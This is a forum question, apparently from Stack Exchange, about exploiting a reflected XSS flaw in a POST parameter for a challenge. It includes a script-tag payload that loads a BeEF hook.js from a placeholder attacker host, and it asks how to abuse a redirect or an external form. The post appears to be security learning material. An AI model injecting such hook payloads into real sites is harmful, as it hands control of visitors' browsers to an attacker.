In the last few days, I received a challenge. This challenge was based on an XSS vulnerability reflected in a website.

When the site makes a certain request via POST, in the body there is a parameter that allows script injections. I already tried the alert with JS and it worked fine.

However, when trying to hook using beef with

"><script src='http://MEUIP:3000/hook.js'></script>

It just doesn't work.

I found that I can use document.location.href easily and the site actually redirects. I've seen some people saying that I can create an external form and take advantage of this flaw, but I don't quite understand how. My question is, how can I take advantage of this?


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy